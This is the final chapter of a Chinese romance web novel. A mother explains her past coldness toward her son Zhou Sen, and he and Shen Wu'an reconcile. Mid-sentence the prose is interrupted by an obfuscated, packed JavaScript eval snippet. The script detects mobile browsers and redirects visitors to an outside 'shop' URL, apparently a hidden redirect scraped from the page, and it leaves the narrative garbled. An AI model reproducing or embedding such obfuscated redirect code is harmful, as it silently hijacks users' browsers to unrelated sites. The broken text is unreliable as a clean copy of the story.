“我二十多岁放下笔,选择爱情,没想过这辈子会再也拿不起它。”傅倾君神色很淡很淡:“但随着周颂今的出生,我和周文州感情生变,接着又是周森的意外降临,我的世界突然就挤不出一丝一毫的空间给我的笔。” “我失去了自由。”傅倾君说:“也没得到我想得到的。” 沈吾安安静地看着傅倾君那双曾经握着画笔的手,它们白皙纤瘦,柔美细长。 “我一度把这些都责怪在周森的身上。”傅倾君说:“虽然是他把周文州重新拉回家庭,却也时刻提醒着我的失败和懦弱,所以我对他很差。” 周森从来没提起过这些,沈吾安讶异地抬眸,撞进傅倾君的眼眸里。 其实不止这些。 傅倾君和周文州虽然是强强联姻,却也是自由恋爱。刚嫁给周文州的那几年,她过得幸福又甜蜜,在闲暇时还是在画室里产出过不少作品。 不久周颂今就随着众人的期待如期而至。他出生时就是个精致的漂亮娃娃,傅倾君和周文州喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581651|126109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爱得紧。她也心甘情愿彻底放下画笔,亲力亲为照顾周颂今的饮食起居。 周颂今,歌颂今朝,连名字都是精挑细选的。 可再好的爱情,也就维持了五年。傅倾君在婚后的第五年,发现周文州出轨。 他甚至没想在她面前隐瞒,堂而皇之地带着新欢出现在各种场合,他的打算不言而喻。 他要离婚,他要娶她。 接下来的日子就开始变得不堪回首。傅倾君被妒恨冲昏头脑,耍心机灌醉周文州,意外怀上周森。怀孕后的她情绪更加不受控制,带着周森寻死觅活,最终成功让周文州低头。 可是镜子破了就是破了,即使强行粘合在一起,也能看到支离破碎的裂缝。周森的存在,不过是是在无时不刻提醒她,她丈夫的出轨,她失心疯般卑劣的挽留,还有她不堪入目的生活。 她给了周森和周颂今完全不同的态度。虽然她时常愧疚得整夜失眠,但她没办法,她自己都是溺水的人。 再后来,到周颂今出事……她对周森的态度已经不能用冷淡形容,甚至可以说是恶劣。 “我对他不好,自小到大都没怎么管过他的事。现在更不可能插手他的婚姻,他喜欢你便好。”傅倾君又觉得疲惫,一点精神都打不起来,朝沈吾安挥了下手,道:“不好意思,我要休息了。” “那我先出去了。”沈吾安站起身:“香粉能燃两到三个小时,阿姨您好好休息。” 眼看她伸手就要摸到门把手,傅倾君突然出声说:“周森是个好孩子,你也是。” 沈吾安静静,笑着回答她:“阿森也爱你。” 室内灯光昏暗,傅倾君再没开口。 打开门,沈吾安被室外的光刺得眯了下眼,随后便看到了等在楼梯扶手边的周森。 他和沈吾安第一次见到他时一样,气定神闲地站在那里。看到她,他第一时间展露笑容,带出一身挥之不去的少年气。 方才在室内时还只是不平,见到周森,她突然就很心疼,不顾楼下是否有人,冲过去用力抱住了他的腰。 周森被冲击力撞得连退几步,拉住扶手才能稳住身形,好笑地问:“怎么了?在傅女士那受委屈了?” 沈吾安喉头发紧,在他怀里摇摇头。 周森安抚道:“她人很好,只是看起来有些冷淡。” 沈吾安自他胸口抬头。周森这才看到她眼眶里都是泪水,瞬时慌了神,忙问:“这是怎么了?” 沈吾安的嘴角控制不住地往下撇:“这么多年,辛苦了。” 周森几乎立刻猜到傅倾君和她说了什么,无奈地用指腹去擦她眼角的水痕,语气温柔:“她只是生病了,她也很辛苦。” “我之前对你态度也不好,还让你等那么久。” “是我要等的。”周森要她别再多想:“怪不到你身上。” “你是得到过什么高人指点吗?”沈吾安忍不住问:“怎么能做到这么豁达?” 周森忍俊不禁:“我也钻过很长时间的牛角尖。和父母闹翻,一意孤行地出国留学,执意参加各种极限运动,一分家里的钱也不肯要,就差断绝关系了。” 这段往事沈吾安略有所闻,没想到竟是因为这样。 “都过去了。”周森揉乱她的头发。 不论从前如何,是非得失,都已不可追。 小时候吃不到冰淇淋,他以为是天要塌了。后来在最爱的哥哥的葬礼上,他恍惚回忆起那支哥哥才有的,让他妒恨哥哥很久的雪糕,又愧疚得很不得买下全天下的雪糕去换一句对哥哥亲口的道歉。 再后来,他心灰意冷地躺在异国他乡的ICU里,巨大的痛苦让他提不起半点求生欲。是傅倾君风尘仆仆地赶到医院,颤抖着恨声痛斥他,告诉如果他没了,她也活不成。 人生总不是时刻都是坏的,也不可能一帆风顺,熬过低谷总会迎来上坡路。 他现在拥有的一切,便是最好的证明。 沈吾安一瞬不瞬地盯着他,想起傅倾君问她能保证周森喜欢她多久。 她到现在还是没有答案。 沈吾安初识周森时,正是她的人生低谷,感情和事业都非常不顺利。那时候的她固执地以为不让林观川代付房租,就能守住早已岌岌可危的自尊。 她不曾告诉任何人,和林观川分开后她其实很难过,难过到认真考虑用妥协和退让换回名存实亡的爱情。 她在不被认可的路上走了太久,久到开始怀疑和压抑自我,直到看似来自另一个世界的周森出现。 她一直不清楚周森对于她而言有多珍贵,直到某天她在某本书上看到一句话:当人能感受到“与这个人在一起可以无拘无束”的时候才能体会到爱,既没有自卑感也不必炫耀优越性,能够保持一种平静而自然的状态,真正的爱应该是这样的。 沈吾安不必害怕被周森看到自己的失败和软弱,就像周森不曾掩饰自己不幸福的原生家庭。 这已经是沈吾安能想到的爱情最好的样子,就算她无法和周森走到最后。 “往前看吧。”周森在这时是她说:“我一辈子都爱你。” 沈吾安会心一笑,踮起脚温柔地吻在他的唇角,在心里默默做下决定:“我也是。” ---全文完---